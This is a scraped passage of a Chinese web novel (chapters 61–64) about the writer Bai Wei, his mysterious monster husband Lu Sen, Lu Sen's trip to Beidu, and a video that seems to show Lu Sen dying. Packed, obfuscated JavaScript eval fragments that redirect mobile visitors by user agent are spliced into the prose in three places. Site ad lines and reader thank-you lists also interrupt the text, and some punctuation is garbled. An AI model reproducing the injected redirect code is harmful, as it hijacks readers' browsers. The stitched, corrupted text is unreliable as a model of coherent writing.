白唯在网上大红特红,这是白唯没想到那中学生的网剧能做到的。所有人都在讨论这个新兴的白尔莫斯,赞扬他的容貌或是知识量,想要知道他的真实身份,憧憬他真实居住于的静谧的小镇风土。与此同时,曾经拉踩白唯,以贴近当代青年闻名的那名短剧博主段籍则在因为过度玩梗,当面一套背面对粉丝翻白眼,工作室账目不透明和剧本低俗抄袭陷入舆论漩涡。 谁又能想到,如今这名爆红网络的白尔莫斯,和一年前他们在吹捧段籍时用来拉踩的杀“伤仲永”会是同一个人呢。 但这都是小镇之外发生的事情。在小镇之内,白唯犹豫了又犹豫,最终也只能接受,他的祖父的确没有打电话过来找他。 或许是因为他没有在网上看到白唯的声名,或许是因为白唯确实已经被他彻底放弃了吧。 与此同时,他和卢森陷入了长达一个半月的冷战里。他不和卢森说一句话,饭分开吃,回家后把自己锁在书房里,在书房里搭了小床睡觉,睡觉时也锁上窗。他对卢森的一切示好视而不见。只要不领情,就不需要回报对方。 卢森也不是没有多次试图和白唯和好。他找到白唯,询问他自己要怎么做,他才能原谅他。 “你从前真的是在法国留学么?”白唯冷冷地说,“你以前到底是干什么的?卢森?文森?” 卢森对此陷入 沉默。他继续阐述自己曾在法国留学的合理性。他认为,如果让白唯知道自己是个顶替身份的怪物雇佣兵,而不是现在这个在雪山镇声明崇高的卢森,白唯只会更加讨厌他。 白唯对此的回应是关上了他的门。 卢森在修车店里荒废了许多天。终于,他想到了办法,打开电脑,开始求助自己曾经的雇佣兵朋友。 不是那个劝他和白唯分手,去追寻远大航路的那个,而是更友善的那个。 “我想不通。他应该是因为我露馅而生气了。” “嗨,老兄。你应该听A的话的。你本来就不适合家庭生活。” “胡说,我过得很好。” “你到底是怎么回事。关于你的一切好像就在你在黑港城当流浪汉那时候开始变了。让我想想……27年9月那时候?你老婆不会是你在黑港城那个一夜情对象吧。” “这件事我也不能让他知道。” “好吧,你现在什么打算?” “解决掉他出版合同的事情。这些天我一直在研究法律和出版集团,我发现在北都,有一家全国公认的、最好的出版社。我有办法做到这些,比如把他的合同转到北都出版社去。但我也需要你们的协助。” 卢森一个字一个字地在电脑上打下自己的计划。 “……等这一切结束,他一定会和我重归于好的。” 卢森重复着这句话,觉得自己又充满了信心。 等出版社的问题解决,白唯的心情一定会舒展很多。等到那时候,他再开他的民宿,在忙碌的过程中和白唯增进感情。等到那时,一切都会迎刃而解的! 而且,孩子是关系的强纽带。等民宿也走上正轨,他还可以和白唯生两个孩子。 “我倒是乐意去,反正你给钱。但A应该不想去吧。他不是一直期待着你回来,和他继续做开辟伟大航路的海盗吗?” “我已经找到我的黄金岛了。这笔单子的价格我也开出来了,要不要做是他的事,我只是看在你们是熟人,干活儿也麻利。我随时可以找其他人。” “好吧!上次是找人给你P照片,这次是折腾出版社。老兄你结婚后发布的活儿越来越没品了。对了,咱们在北都干活得小心。我听说那群‘玩家’最近就在北都找人。为 了抓连环杀手,他们和杀手组织结仇了你知道吗?不是连环杀手组织的杀手组织。” 计划定下,人也找好。卢森依旧坐在电脑前,思考了三遍自己的计划。对于白唯的事,他总是要特别上心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272179|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >终于,计划推演到了让他满意的程度。 第二天一早,白唯出房门时,发现卢森又堵在了他的书房门口。对这样的场景,白唯已经习惯了。 “有事么?”白唯冷冷道。 卢森揉了揉鼻子。他看起来因为在门口蹲守了一夜,有点感冒:“亲爱的……” “别给我装病。”白唯说。连高压电都电不死的东西怎么可能感冒。 “好吧,我得出去出差,大概一个半月可以回来。”卢森可怜巴巴地道,“亲爱的,你有什么想要嘱托我的话么?” 你一个修车店老板,到底出门出什么差? 出差这两个字也成为了白唯心中的痛。卢森每三个月出门出一次差,每次大概一周。卢森六个月前的黑港城出差他已经领会过了,此事不必再提。于是三个月前的那趟出差,白唯也没再过问。 可这次的出差,怎么多出足足一个月时间? 白唯不免又想到了“出轨”,毕竟他们已经冷战一个多月了。这对于他而言,是绝对不能接受的。 但现在,竟然有一个声音告诉他:就这样想把,然后,你就又有杀他的理由了。 “……无所谓,你要走就走吧。”白唯最终说。 “好嘞!宝贝,我后天出发。你在家里好好的,我很快就回来。” 卢森想要吻白唯的手背,又被白唯拒绝了。 卢森在三天后出发,开着他的小面包车,并在离开时通知了他的熟人们——镇子里一大群人。白唯看着,心想这只怪物也是在雪山镇渐渐构造出了自己的怪物关系王国了。 在明面上,他依旧和卢森站在一起,感谢所有来送别的人。不远处乔敏感慨道:“我原本以为他们最近在冷战。没想到他们如今的关系还是那么好!” 魏连擦汗:“是吗?我不这么认为。” 白唯没有给卢森告别吻。卢森却并不在意。他的脸上写满了“等我这次战争结束了回老家就结婚”的愉快从容。他甚至开玩笑地对白唯说:“亲爱的,你不亲 我的话,如果我回不来,你一定会伤心死的。 “天哪,别说这么不吉利的话!乔敏指责他。 白唯还是没有亲他,眼睛黑压压地看着他。卢森也不在意。他亲了一口白唯的额头,温和道:“亲爱的,等我回来。 作者有话要说 没事,这不是flag,没出事感谢在2024-08-0723:52:31~2024-08-0900:58:36期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:屿汜1个; 感谢灌溉营养液的小天使:初眠80瓶;鲨鱼铁板烧66瓶;乌云乌云快走开40瓶;寒衣36瓶;伍大岚27瓶;吱吱的呜呜、棠枝、小皮皮决定奋发向上、许君安亲今天也不写文、谁不喜欢银子、猫先生、伊20瓶;小马n什么时候暴富啊16瓶;木乔桥12瓶;鱼豆腐、特别好、蔚蔚v、哟哟哟、爬六楼真的超累、迟双叶、嗑糖欢乐多10瓶;瓜甜李黠9瓶;又村村村6瓶;不想拯救地球、木林森、时闻、你好ino、Saccharine5瓶;拂槛露华、时间管理大师2瓶;白烟溟、今天依旧没有更新呢、小米、冰冰糖啵啵鱼、又菜又挑日常挨饿.jpg、咕枯、棒打鲜橙、山猫的黑羊、原岁、诺奇莫银、非生命物质、朗、介凉丰、、金桔柠檬猹、suansuanchuchu、二氧化碳、Lemonade、小血砸1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 62 章 魏笠 第62章魏笠 “亲爱的,你一定不会猜到,我已经在北都大酒店下榻了。这家酒店历史悠久,服务也很好,每天都会免费提供八瓶矿泉水,而且距离我出差学习的地方很近。” “亲爱的,我今天在峰会上参观了XX集团新推出的ABS泵,我觉得这个东西很不错,可以被用在汽车改装上。等回到雪山镇后,我会把它加入维修会使用的零件清单上。” “亲爱的,我今天去学校听了一些学习课程,以下是我的学习报告……” 白唯看着卢森写在有“北都大学”抬头的、红色双行线纸上的学习报告,心想这不会是他去形势与政策课偷的哪个学生的课后作业吧。 白唯原本以为,在卢森走后,他的生活会变得更轻松一点。至少他能搬回大房间居住,也不再需要每天把稿子锁进保险柜里,并且在保险柜里安装□□,在门缝上插入铅笔芯了。 然而,卢森虽然走了,关于他的一切却好像无处不在。 他打开冰箱,想找个鸡蛋做早餐。冰箱里却已经冻着卢森做的一柜一柜的小点心,还有两天份的饭菜。他想起已经换季,该把一些衣服送进干洗店了。干洗店老板娘却已经上门,手里提着卢森离开时专程送去干洗店的衣服。他喝的水、惯常吃的鱼油和维生素等会定时送上门补货,就连昨晚刚发现即将用完、在雪山镇买不到的洗发水和护发素也在第二天就定时被快递送上了门…… 即使卢森走了,他也像时时刻刻都在。不在他购买的那些家具、P的那些图里面,而在时时刻刻的生活里。 小镇里的人也总会以卢森为话题和他聊天。邻居法官老先生感慨他家花园一个月没人打理,等卢森回来了,他要教他怎么好好种那些娇贵的水仙。市场老板说你一个人来不要买太多东西,没有卢森在你一个人拖不动的。邮递员路过他家时的第一句话也是今天有没有卢森寄回来的东西。 甚至连镇上投资公司的投资经理都天天跑来白唯家给他免费做咨询和推荐了。白唯当然知道,这个人的目的可不是让他投资。投资经理时年29,家境富裕仅次于隆家,风度翩翩,因为眼光过高在小镇里始终没有男友或女友。显然他是看上了独守空房的白唯…… 就连乔敏和魏连夫妇也时常在每个让白唯意想不到的细节提到卢森。这天是魏连的生日他们邀请白唯过来。乔敏在蛋糕店定了一个流心抹茶芋泥巴斯克蛋糕。 在和白唯一起去取蛋糕时乔敏说:“哎可惜卢森不在这里。他最喜欢吃芋泥了。” “卢森喜欢吃芋泥吗?” 白唯不这么觉得。卢森在甜食上没有任何偏好他更喜欢吃有海腥味的海产品芋泥的口感和海产品大相径庭。乔敏却说:“之前我好几次看见卢森在吃有芋泥的东西。什么奶茶啊蛋挞啊蛋糕啊……” 白唯愣了愣。因为他意识到不是卢森喜欢吃芋泥而是他自己喜欢吃。 卢森会发现白唯对芋泥的偏好他于是经常在甜点里加芋泥。可白唯对吃什么东西都很克制通通只吃固定的量如乔敏魏连这样的外人就看不出白唯偏爱吃什么。可每次有剩到第二顿的甜点都会被卢森一个人吃完。 卢森总是会给白唯多做一点他喜欢的东西。万一要是有一天白唯想要多吃 于是反而是白唯的偏好在旁人的眼里成为了卢森的偏好。白唯忽然觉得手里的蛋糕重重的很沉好像他的臂力还不如乔敏这个弱女子一样。 “我去个洗手间。”到了乔敏家后白唯如是说。 他在洗手间里洗了一把脸对着镜子咬牙切齿。这点小恩小惠有什么用?他还是不知道卢森究竟是谁究竟想做什么。 他不知道卢森是谁就像他不知道卢森的一切是不是都有别样的目的。 他找关系查过文森和文露的资料了。这世上只有文森和文露没有一个叫“卢森”的人。无论法国最好的大学是哪所里面都没有一个卢森。更何况他从来都不相信卢森读过大学。而且说难听点因为卢森什么也没说他甚至不知道文露和文森的海难是否和卢森有关系。 他的丈夫是个有着天蓝色眼睛的男人也是一个这世间不存在的幽灵。他自己的这一生出自名门在黑港城拥有悲惨的童年在孤儿院被祖父带回家在青禾读过少年时代在北都读大学拿到毕业证书参加的比赛、出版的作品都历历在目。他的一生样样理性可查也为了样样理性可查而存在。可卢森却是一个学历造假、身份未知不该存在 于这个世界上的幻影。 就像他父母的私奔一样,冲动,虚无缥缈。 卢森随时都可以消失,就像他也可以随时让卢森消失。 他被不存在的幻影束缚住了。 白唯在洗手时发现,乔敏家的洗手液和卢森购买的洗手液也是同一款。这份偶然绝无卢森事先串通,让他借此想起他的可能。 原来不是卢森在小镇里无处不在,而是卢森在他的生活里,在他的习惯里已经无处不在了。 除非他离开小镇,除非他搬离这里……除非,卢森死掉。 白唯从厕所里出来时,外面的聚会到达了一个新高/潮。一个戴着鸭舌帽,长相有几分小帅的陌生人出现在客厅里,正在和魏连说话。 “你小子,果然又迟到两小时。 “老哥,我不是故意的啊!从黑港城赶回来可太远了。而且我临走前,那些穿越者又发现了新的线索,在北都。如果不是有你的生日聚会,我早就跟着一起去北都了。 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) “你指望着靠他们来玩你的侦探游戏吧? “哪能这么说?我也在每天给他们找线索呢。这位是…… 陌生人看着白唯,他表情有点疑惑、有点震惊、还有点觉得眼熟般对他看来看去。 “这是白唯,我们的朋友,住在雪山镇。乔敏向陌生人介绍,“这是魏笠,魏连的弟弟。 “你好。白唯礼貌伸手。 陌生人却没有伸手。他看呆了似的,上下打量白唯。魏连不得不说了一句:“魏笠,人家长得好看,你也别一直盯着看…… “你是那个吧!在网上很火的那位!魏笠大喊道,“白尔莫斯! 所有人都向这边看了过来。白唯有些尴尬,和魏笠走到一边去:“都是小孩子不懂事拍着玩的。 “怎么会?你现在可火了,人气可高了!好多影视公司都想找你,可惜发布者那小子守口如瓶,说你不想被打扰,给多少钱都不说。 没想到唐霖这小子唯独在这件事上挺有节操的。白唯有点意外,接下来,他却听见一句让他更意外的话。 “而且黑港城那群穿越者玩家们也对你很感兴趣!他们说你一定是重要侦探NPC!魏笠说着,有点小失落,“我跟着他们跑东跑西 都没有这样的评价。” “啊?” “他们认为‘凡是出现不可能有偶然’。所以你一定是个非常重要的侦探人物能够破除迷津带领他们走向胜利的那种。至少你也能单开一个副本。”魏笠信誓旦旦地说“如果不是北都有情况他们本来打算来雪山镇看看的。白唯 白唯完全没有感受到有哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272180|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值得魏笠羡慕的。他只皱了皱眉头感觉这群疯子不会影响到他的生活吧。 “你不高兴么?”魏笠疑惑地说。 “对于他们而言我们是游戏人物这有什么值得高兴的?”白唯随口道。 “对于我们而言他们才是游戏人物。在平凡反复的日常里有这样一群有意思的人出现在我们的世界里带来如此多的乐子。这难道不才是我们的游戏么?”魏笠耸耸肩很兴致勃勃地样子“而且对于他们而言我们是另一个完整的世界而不是一场游戏。我们有这样详实的生活这样丰富而细微的日常感受。这一点点的生活足以打破所有命题。我们才是我们的生活的主人。” “……” “而且他们在帮我们清理连环杀手我可太支持了。” 白唯无言。 “而且我有一种预感。”魏笠神经兮兮地说“每一个平凡人的人生里都命中注定会办成一件大事。” 白唯的生活里没有大事只有逼迫着他的种种小事。 “这小子喜欢玩侦探游戏而且没有什么边界感。你不要和他计较。”魏连专程过来和白唯解释“不过你现在在外面真是特别火你知道吗?” “我想这只是因为魏笠喜欢看侦探相关的东西。”白唯如是说。 但很快白唯收到的来自李愿的信件证伪了这一点。信里李愿很激动也很为白唯高兴:“你看起来已经走出低谷了!” “……” 让白唯难以置信的是李愿说他想来雪山镇看看他的情况。除了他之外明恋白唯的富二代乔烨也想一起来。 “我们最近都有点忙或许两个月后。你和你丈夫的关系怎么样了?” 在这大半年里他和卢森的关系怎么样? 白唯不想思考这个问题。他杀了大半年的卢森不仅一次 都没杀掉,还让自己陷在这个泥潭里,越陷越深…… 而且,他已经半个月没有得到卢森的消息了。 在走出书房时,白唯的手机震动了两下。 一下是魏笠发来的消息。自从在魏连的生日聚会上见面后,魏笠便热情地和白唯联络。他相信白唯这个名侦探一定能给他带来好的思考思路,时常发来一些线索。 这次,他说:“我的玩家朋友在北都拍到了一些一手资料要发给我。一会儿我发给你看看!不知道你对那段视频有什么看法? 另一条消息却来得突然。因为发件人竟然是隆冬。 作者有话要说 感谢在2024-08-0900:58:36~2024-08-1000:36:46期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:蜷蜷大王1个; 感谢灌溉营养液的小天使:marshmallow74瓶;此人已跳海63瓶;辛夷60瓶;四十八40瓶;Sakura36瓶;陌离、nonono26瓶;惜别眼泪22瓶;邮筒君、43298318、白青云、且书生意气、emmmm、你要吃糖吗20瓶;复工后、冰冰糖啵啵鱼、不可以涩涩、清清清清清、老王的隔壁、斋斋子10瓶;(*^▽^*)6瓶;竹林皓月、蜷蜷大王、子瑜、是阿蕊也是阿芯5瓶;胡4瓶;肥肉迷路了3瓶;你带带人家呐、阔乐、究惑久久、涯诤、哟哟哟2瓶;suansuanchuchu、我说不言语云无归处、鱼干1110、龄羲、兔兔捏奶膘、小米、疏霓、青舟、赋清流、原岁、听听心、我爱玩以闪亮之名、瑞、猫猫控、咕枯、又菜又挑日常挨饿.jpg、五夏绝配、不想拯救地球1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 63 章 跳楼 第63章跳楼 白唯和隆冬在西餐厅见面。 在白唯踏入西餐厅时,隆冬已经在靠窗的位置里等了许久了。她穿了一条灰色的长裙,长发用一根发圈在脑后挽成一个发髻,是她往常的打扮。 但当她看向窗外雪山镇的道路时,那种倦怠的、不愉快的表情,和她平日里内向懦弱的神情大相径庭。 白唯知道他如今算是看见了隆冬的真面目了。见白唯来了,隆冬说:“你知道吗?我早就对雪山镇的生活感到厌倦了。在这里需要继续待下去的每一分钟,都让我感到疲倦、恶心,我不想一辈子待在这里。” “但要让你不带走所有钱离开这里,你又不甘心。”白唯在她的对面坐下,“你想干掉隆夏和隆春很久了吧?” 隆冬对他展颜一笑:“隆秋可以去世,隆夏和隆春为什么不能去世?” “……” “我从小到大都没有家里的继承权。先是有了隆春,然后又有了隆夏。我始终是他们看不见的那个。他们想要我学护理专业,只是为了方便我长大后照顾他们……” “抱歉,我对你的过去不感兴趣。”白唯交叉手指道,“你可以直接说自己的目的吗?” “当然可以。你不必担心你和隆夏、隆春之间的事影响我对你的态度。事实上我早就期盼着他们被关进精神病院里了。你们前些日子的事真是帮了我大忙。但考虑到你是一个聪明人,我打算对你坦诚一些,以免未来别的冲突波及到我,同时我也可以给你一些协助。”隆冬说,“你好奇隆夏为什么对你的态度如此扭曲吗?因为你们曾经是中学同学。” 白唯道:“好吧,我猜到了。” 在看见那幅画之后。 “他想要吸引你的关注,却始终没能得到。后来,据我所知,他在跟踪你的过程中误入了一群街头混混的窝点,从此被长期威胁。我总觉得这不是巧合。” 白唯故作惊讶:“他跟踪过我?” 这当然不是巧合。白唯在中学的一段时间里发现有人在跟踪他。他当然不觉得这出于善意,即使处于善意他也无福消受。他恰好知道学校附近有一条街,有喜欢威胁人、贩卖违禁品的小混混。 于是他顺便就把那人引到 了那里。 在那之后,跟踪自然地解除了。白唯没兴趣去看跟踪他的那名少年长成什么样,他也没必要去看。 “很变态是不是?”隆冬说“在那之后他退学了转到了别的学校。他对那人的关注却有增无减甚至努力模仿着他。可惜赝品就是赝品。他的学业成绩一团糟只能依靠作弊获得分数。然而 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)眼见高考即将来临他知道谎撒不下去所以他想要找个借口错过考试。恰好他姐姐的生日聚会就要举办了……” “这场生日聚会是他的妹妹提出要举办的。在那之前家里没有什么人会想到要专门为姐姐过生日。他回来了却也被妹妹发现了考试作弊的事实。于是就在车上他愤怒地抢夺方向盘。这导致了他妹妹的死亡和他的残疾。” “当然在那之后他的姐姐也再也不过生日了。” 白唯:“节哀。看来在你的家里唯独你妹妹和你的关系还算不错。” “从前也并不是。只是在她去世的两年前同样没办法离开小镇的妹妹终于理解了姐姐一点吧?”隆冬说“我说这些不是为了想让你理解或者同情我。我只是希望你知道只要你还在雪山镇生活那么隆夏和隆春的麻烦就还会继续在。以前我也想过为什么隆夏已经残疾失去了为家族拓展未来的能力父母为什么还那么惯着他?难道是因为他生来就更值得被人喜爱一点?” 她的语气里倏忽带了点怨恨像是真情流露。但很快她用喝水掩盖了自己的表情。 而白唯只想着哦她希望我帮她对付她的两个弟弟。 他无聊地玩着茶杯想到刚进店时隆冬说她已经点了两杯咖啡了。可咖啡怎么还没上上来。 白唯余光瞟见一个穿着服务生衣服气质有点唯唯诺诺的人正要端着咖啡过来……然后那人看见了他们像是被吓没了魂似的又端着咖啡跑回后厨了。 白唯:……? 那个人看起来挺人高马大的怎么看见他们就像见了鬼一样? 隆冬这时候又说:“隆春也会一直替隆夏收拾烂摊子的。他总会这样做。事实上从你刚搬来镇子开始隆夏就已经盯上你了。他的房间里藏着一切他能搜索到的与你有关的消息。新闻报道里的一张合照也被他打印出来、单独 剪下你的部分贴在墙上。在你刚搬来时他就找到对你感兴趣的记者向他们散播你的谣言……” “如果不是他的腿不方便隆春又不可能答应。我猜他肯定会把你吃过的冰棍棒子也捡回家里。这可不是什么执着的美好的感情……你知道他虐杀动物的吧?”隆冬冷不丁地说“你知道他在那些尸体上刻下你的名字么?” “早晚——或者现在已经他想要杀你。”隆冬道。 白唯已经失去兴趣了。 他懒懒地抬起一点眼皮。隆冬这时候注意到白唯的眼尾狭长又上挑像凤尾的形状他冷睨他人时向冰冷的鱼钩一样傲慢又勾人 “以你对你弟弟的了解你觉得他能做到吗?”白唯好整以暇地说。 “当然不能但一直被苍蝇围着不也很难受吗?”隆冬竟然因此呆了几秒然后才开口。 “被苍蝇围着的人总比住在苍蝇堆里的人舒服。”白唯道“看来我是等不到今天的咖啡了。我先回去了。” 他做了个要起身的姿势。隆冬立刻道:“白唯我不是因为天真地认为你会为了报酬替我解决这件事才来找你。” “嗯?” “我相信如果雪山镇有一个人能理解我的感受那么那个人只能是你。因为你也是一个逃亡者。而且你也想离开雪山镇离开你的家庭……这件事在我第一次看见你时就明白了。” 白唯:“哦。” “我这两天忽然想起来一件事。”隆冬道“我在法国留学时的确和两个人见过几次面虽然不算熟悉可他们的名字和脸我一个也忘不了。他们一个人叫文森一个人叫文露。” 白唯松弛的手指忽然收紧了。他面色如常表情略有点“不知道隆冬在说什么”似的疑惑。但他的脑海里已经快速地闪过了一件事。 要怎么让隆冬悄声无息地死掉? 对于冒犯他的隆春和隆夏他竟然都没有考虑过直接干掉他们。可对于有可能泄露卢森真实身份、和他被骗婚的事实的隆冬他竟然想要杀掉……白唯被自己的想法突兀地吓了一跳。 “但奇怪的是当我拜托我以前的同学去查时却完全查不到这两个人的消息过去的历史记录成绩单……但记得他们 的人不少。我是本着互惠互利的想法分享这些的。因为就像你,想要摆脱自己的丈夫,我也想摆脱我的弟弟们。”隆冬用最轻的声音如是说,“或者你说过,交换杀人吗?” 说的域名caixs?(请来才小 说 看最新章节 完整章节) 交换杀人? “我总有一种感觉,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272181|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一种特别的相似。你能理解我,我也能理解你。我们也都想离开这里。或许有一种可能,当我们讨厌的东西碰撞到一起后,只需要我们稍微施加一点力,他们就有机会玉石俱焚。” “我不急着需要你的答案,但我有绝对的诚意。” ……白唯走出了咖啡厅。 他坐在汽车里,表情从空白到阴晴不定,他感到愤怒,最终,竟然感到一丝恐慌。 他似乎从来没想过,和别人合作,或者借助别人的力量,来干掉卢森这件事。 六个月前,面对隆冬的提议,他或许会心动,把隆冬当成干掉卢森的一把刀,一个擦脚布,利用完她之后就把她丢掉。可方才在咖啡厅里,他竟然一点利用她的想法都没有。 而是本能的,感到强烈的抗拒。 难道他不那么想杀掉卢森了吗?这半年多的时间到底对他做了什么? 他对这只怪物到底是怎么想的? 白唯捂住了他的心口。他觉得非常可怕,因为他或许已经潜意识地,有一点把他当成一个家人。所以,他竟然抗拒其他人的介入……在他努力地想要矫正自己的认知时,手机却响了。 魏笠的视频终于发过来了。 白唯点开那大小两百mb的视频。视频是从很远的地方拍的,或许拍摄者也很怕被波及,因此画质很模糊。但白唯还是看清了其中内容。 在冲天的火光和爆炸声中,一团物体似乎在和一群人打斗。“他”从百层高的高楼落下,在众人的惊呼声中摔在地上,变成许多块碎片,四散成烂泥。 像是某种海洋生物。 一团东西落在了镜头面前。镜头于是清晰地拍下了它的模样。 白唯的手指开始颤抖,他的呼吸变得困难。 那是一对天蓝色的眼珠。 他的肌肉开始不受他控制的跳动,骨头也在颤抖。那一刻,他觉得自己好像看见了一对熟悉的蓝色眼珠,像玻璃珠,也像天空。他那样专注地看着它,因此甚至没看到,在背 景里,几块大的碎片偷偷地凑在了一起,快速地逃掉了。 “它刚才怎么自己跳楼了?? “天啊,这是死透了吧。 邮件下,魏笠兴奋地填上消息:“你看见了吗?这是突然在北都出现的怪物! 作者有话要说 还有一更感谢在2024-08-1000:36:47~2024-08-1117:02:29期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:致你来时踵音1个; 感谢投出地雷的小天使:辞安、伊1个; 感谢灌溉营养液的小天使:万古刀77瓶;爱与无瑕之诗62瓶;十九冬至56瓶;lzrlyt48瓶;栗木、victory40瓶;伊36瓶;π、当年明月夜22瓶;超低空飞行、喜欢江寂喜欢江寂、Fiveyes20瓶;茆幽幽18瓶;超级无敌霹雳大腚12瓶;沧槡、不问归期11瓶;人与言、油菜花、归途、蔚蔚v、靳花刺子、静水流深10瓶;潮生9瓶;734073526瓶;神金、pingbo、知更鸟、三与5瓶;译哲译者4瓶;白青云、许君闲乘月3瓶;尺素(oc人请加我!)2瓶;红袖招、予鹤、我爱玩以闪亮之名、西顾、又菜又挑日常挨饿.jpg、呜呜呀、suansuanchuchu、自得其乐、半夜叫喳喳、我说不言语云无归处、咕枯、介凉丰、^-^、冰冰糖啵啵鱼、猫猫嘻嘻、青舟、小米、天心月、今天依旧没有更新呢、小血砸、山猫的黑羊1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 64 章 去死吧!! 第64章去死吧!! 白唯什么也没回复。他开车回家,路上很平稳,转弯也很精准,却在停车在家里的车库时开到了花坛上。 一片玫瑰被压得粉碎,在车轮的碾压下变成烂泥。还好这次,没有无辜的第一杀手在里面。 白唯看着它,只是想着,这次再也没有人清理花坛了。 他在沙发上给卢森又发了一条消息,四个小时后也没收到任何回音。 卢森大约的确是死了。两天后,白唯如是想。 手机里没有任何回信。家里没有来任何电话。就连冰箱里冻起来的、卢森包的馄饨也被吃完了,更何况是那些小点心。它们早就被白唯吃光了。 没有人来补货,也没有怪物来补货。 白唯没有在家里收拾行李,也没有去报警,这原本都是在他的谋杀卢森之后的计划里的。他更没有去和其他人说,卢森已经两天没有联系他了,是不是出事了。白唯原本也知道,这样做会让人减轻对他谋害卢森的怀疑。 他告诉自己,原因是卢森的死亡是意外事故——也可能是其他人人为的吧,反正人在北都,和他没有一点关系。他没有被他杀死。 但却阴差阳错地达成了他的目的。 可他没有因此高兴或轻松,而是更加空虚。 那是一种绝望的、堪比雪盲症一般的空虚。在这片荒原之上,终于连一点血色也没有了。 他照常地上班,下班,回家,对着稿子发呆。他不知道卢森为什么会出现在那栋高楼那里,也不知道卢森清楚的原型是什么模样的,更不知道卢森去北都到底要干什么事——如今的结果至少比卢森莫名其妙离开更好。至少他看见他死了,也能确定他死了。这斩断了给他带来更多可能性的可能。 他来过,他消失,就像不存在的幽灵。没有任何可证实的真实证据证明他存在过,能说明他想要做什么。他却被幽灵的幽灵困住了。 直到白唯在甜品店里买了个芋泥蛋挞。他在车上咬了一口,平日里他绝对不会在车上吃这种会掉碎屑的东西。这次他一口吃下去,感觉很难吃。 和家里的味道不一样。而且他再也吃不到家里的味道了。 那一刻,白唯终于 意识到,他其实很伤心。 他怎么会为一个幽灵伤心呢? 如果卢森能一辈子当他家楼下的一个甜品店里的师傅,他每天都能去买芋泥蛋挞,而不用和他结婚。他会不会感觉更好? 白唯强迫着自己在日历上画了一个红圈。这天是卢森原定的归家日期的15天后。到了那天,他就去警局报案。他又在日历上画了另一个红圈,画完了又擦掉。他想把这天定为他收拾行李离开雪山镇的日子。可他忽然又想到,是不是留在雪山镇,让周围镇民们看见自己度过一年没有卢森也没有任何异常的生活,会更好。 而且。在傍晚坐在沙发上看电视时,白唯这样想着。 通过人口失踪来证明自己的老公已经死亡,需要整整四年。 他要四年才能拿到卢森的死亡赔偿金。 如果卢森是被他制造的意外事故杀死,只要当场就可以证明卢森的死亡了。然后很快就能拿到赔偿金。 卢森死在别人手里,还不光彩,没名字,而且没有有名有姓地死在自己的手里。世界上怎么会有这么坏的事情。 而就在距离去报警还有三天的时候,白唯忽然接到了一个电话。 李愿的电话。 “白唯!你竟然换了手机号码!我好不容易才从你的编辑的手上拿到你现在的电话!他的竹马在电话那边愤怒大喊,“你太没有人性了! 白唯冷淡道:“有事吗? 电话那头的李愿倒是一愣,很快他说:“你心情很不好? 白唯:“你怎么这么认为。 李愿:“虽然你的心肠里完全没有对他人的共情。可你之前至少在文明礼貌这件事上做得很好。换在过去,你即使再不耐烦,也会礼貌地感谢我的来电。 白唯:…… 李愿:“怎么了?你和你的老公吵架了吗? 白唯:“没有。 李愿:“那是什么原因? 白唯:“他死了。 电话那头一句惊呼。很快,白唯找回了自己的神经。他恹恹地说:“……不是,他失踪了。 “吓我一跳……他只是失踪吗? 你怎么听起来非常关心还有点遗憾。 “嗯,再过两天,我就去警局报 案了。”白唯看着楼梯间的墙纸心想这些都是卢森挑选出来的。 在他挂掉电话之前李愿说:“哦好的至少这个月还有另一件值得让你高兴的事。恭喜你。” “什么?”白唯怀疑许久不沟通他的竹马变得情商欠费。 李愿:“你和之前两家出版社的合同终于被成功解除还和北都最大的出版集团签订了最优惠的合同。恭喜你!你的事业终于又要扬帆起航了!虽然合同好成这样让很多人都说你是不是给他们灌了迷魂汤……” 白唯愣住了。他握紧了话筒表情变得很震惊也很难看:“什么?我完全不知道。” “你不知道?!”李愿的声音拔高了八度显然他比白唯还要震惊“你在看玩笑吗?不是你亲自通过一场视频会议说服了北都文化集团的总裁……你还答应她今年年底去参加北都文化集团的年终盛宴。这让很多人都高兴坏了……” 白唯的手指青筋突起:“还有什么别的内容吗?” 